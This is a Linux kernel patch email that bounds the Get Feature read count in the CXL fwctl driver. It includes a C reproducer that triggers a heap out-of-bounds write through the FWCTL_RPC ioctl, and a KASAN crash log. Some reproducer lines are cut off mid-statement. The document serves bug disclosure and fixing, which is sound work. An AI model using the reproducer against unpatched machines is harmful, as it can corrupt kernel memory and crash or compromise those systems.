[PATCH] cxl/features: Bound Get Feature read count to the output buffer

[Richard Cheng <icheng@nvidia.com>]

cxlctl_get_feature() sizes the output buffer rpc_out from the
user-controlled fwctl_rpc.out_len, but the number of bytes the device is
asked to write into rpc_out->payload comes from a separate
user-controlled filed, cxl_mbox_get_feat_in.count. Nothing ties them
together, so a small out_len with a large count makes cxl_get_feature()
write the device's feature data past the kvzalloc()'d buffer. A heap OOB
write reachable from FWCTL_RPC. Reject requests where count exceeds the
available payload room, before the allocation.


The issue is triggered via the following reproducer [1], with error log
[2].

[1]:
"""
        #include <fcntl.h>
        #include <stdint.h>
        #include <string.h>
        #include <sys/ioctl.h>

        #define FWCTL_RPC      _IO(0x9A, 1)
        #define GET_SUP_FEATS  0x0500
        #define GET_FEATURE    0x0501

        struct fwctl_rpc { uint32_t size, scope, in_len, out_len; uint64_t in, o
        struct hdr { uint32_t opcode, flags, op_size, rsvd; };               /*
        struct get_feat_in { uint8_t uuid[16]; uint16_t off, count; uint8_t sel;
                __attribute__((packed));                                     /*
        struct feat_entry { uint8_t uuid[16]; uint16_t id, get_sz, set_sz;
                uint32_t flags; uint8_t gv, sv; uint16_t eff; uint8_t rsvd[18];
                __attribute__((packed));                                     /*

        static int fd;
        static int rpc(uint32_t il, void *i, uint32_t ol, void *o) {
                struct fwctl_rpc r = { sizeof(r), 0, il, ol,
                        (uint64_t)(uintptr_t)i, (uint64_t)(uintptr_t)o };
                return ioctl(fd, FWCTL_RPC, &r);
        }

        int main(void) {
                uint8_t in[48] = {0}, out[8192] = {0}, o8[8] = {0};
                struct hdr *h = (void *)in;
                fd = open("/dev/fwctl/fwctl0", O_RDWR);

                /* 1. enumerate features -> pick a real UUID with readable data
                h->opcode = GET_SUP_FEATS; h->op_size = 8;
                *(uint32_t *)(in + 16) = 48 * 64;          /* get_sup_feats_in.c
                rpc(48, in, sizeof(out), out);
                int n = *(uint16_t *)(out + 8);            /* num_entries */
                struct feat_entry *e = (void *)(out + 16);
                int b = 0;
                for (int k = 0; k < n; k++) if (e[k].get_sz > e[b].get_sz) b = k

                /* 2. Get Feature: out_len=8 (zero payload room) + non-zero coun
                memset(in, 0, sizeof(in));
                h->opcode = GET_FEATURE; h->op_size = 21;
                struct get_feat_in *g = (void *)(in + 16);
                memcpy(g->uuid, e[b].uuid, 16);
                g->count = e[b].get_sz < 32 ? e[b].get_sz : 32;
                return rpc(48, in, 8, o8);                 /* -> OOB write below
        }
"""

[2]:
"""
  BUG: KASAN: slab-out-of-bounds in memcpy_fromio+0x234/0x730
  Write of size 8 at addr ffff00016b629648 by task repro_fwctl_get/3637

  CPU: 41 UID: 0 PID: 3637 Comm: repro_fwctl_get Not tainted
  7.1.0-rc7-cxltest-kasan+ #1 PREEMPT(full)
  Call trace:
   show_stack+0x28/0x48 (C)
   __dump_stack+0x2c/0x50
   dump_stack_lvl+0x80/0xb8
   print_address_description+0x84/0x220
   print_report+0x54/0x80
   kasan_report+0xb4/0x130
   __asan_report_store_n_noabort+0x20/0x38
   memcpy_fromio+0x234/0x730
   cxl_pci_mbox_send+0x6c4/0xc00
   cxl_internal_send_cmd+0x114/0x228
   cxl_get_feature+0x18c/0x2a0
   cxlctl_fw_rpc+0x5f0/0xeb8
   fwctl_cmd_rpc+0x2c0/0x598
   fwctl_fops_ioctl+0x30c/0x4a0
   __arm64_sys_ioctl+0xc08/0x1380
   invoke_syscall+0x110/0x188
   do_el0_svc+0x110/0x1b0
   el0_svc+0x48/0x108
   el0t_64_sync_handler+0x88/0x148
   el0t_64_sync+0x1b8/0x1c0

  Allocated by task 3637:
   kasan_save_track+0x44/0x98
   kasan_save_alloc_info+0x48/0x70
   __kasan_kmalloc+0xa0/0xd0
   __kvmalloc_node_noprof+0x3fc/0x6a0
   cxlctl_fw_rpc+0x5b8/0xeb8
   fwctl_cmd_rpc+0x2c0/0x598
   fwctl_fops_ioctl+0x30c/0x4a0
   __arm64_sys_ioctl+0xc08/0x1380
   invoke_syscall+0x110/0x188
   do_el0_svc+0x110/0x1b0
   el0_svc+0x48/0x108
   el0t_64_sync_handler+0x88/0x148
   el0t_64_sync+0x1b8/0x1c0

  The buggy address belongs to the object at ffff00016b629640
   which belongs to the cache kmalloc-rnd-04-8 of size 8
  The buggy address is located 0 bytes to the right of
   allocated 8-byte region [ffff00016b629640, ffff00016b629648)

  The buggy address belongs to the physical page:
  page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1eb62
  flags: 0x17fffc000000000(node=0|zone=2|lastcpupid=0x1ffff)
  page_type: f5(slab)
  raw: 017fffc000000000 ffff000080016c00 dead000000000100 dead000000000122
  raw: 0000000000000000 0000000808000800 00000000f5000000 0000000000000000
  page dumped because: kasan: bad access detected

  Memory state around the buggy address:
   ffff00016b629500: fa fc fc fc fa fc fc fc fa fc fc fc 00 fc fc fc
   ffff00016b629580: fa fc fc fc fa fc fc fc fc fc fc fc fa fc fc fc
  >ffff00016b629600: fa fc fc fc fa fc fc fc 00 fc fc fc fa fc fc fc
                                                ^
   ffff00016b629680: fa fc fc fc fa fc fc fc fc fc fc fc fa fc fc fc
   ffff00016b629700: 00 fc fc fc fc fc fc fc fa fc fc fc fc fc fc fc
  ==================================================================
"""

Fixes: 5908f3ed6dc2 ("cxl: Add support to handle user feature commands for get feature")
Reviewed-by: Kai-Heng Feng <kaihengf@nvidia.com>
Reviewed-by: Koba Ko <kobak@nvidia.com>
Signed-off-by: Richard Cheng <icheng@nvidia.com>
---
 drivers/cxl/core/features.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/drivers/cxl/core/features.c b/drivers/cxl/core/features.c
index 3435db9ea6b1..3f949225da6d 100644
--- a/drivers/cxl/core/features.c
+++ b/drivers/cxl/core/features.c
@@ -471,6 +471,10 @@ static void *cxlctl_get_feature(struct cxl_features_state *cxlfs,
 	if (!count)
 		return ERR_PTR(-EINVAL);
 
+	if (out_size < offsetof(struct fwctl_rpc_cxl_out, payload) ||
+	    count > out_size - offsetof(struct fwctl_rpc_cxl_out, payload))
+		return ERR_PTR(-EINVAL);
+
 	struct fwctl_rpc_cxl_out *rpc_out __free(kvfree) =
 		kvzalloc(out_size, GFP_KERNEL);
 	if (!rpc_out)

base-commit: 4549871118cf616eecdd2d939f78e3b9e1dddc48
-- 
2.43.0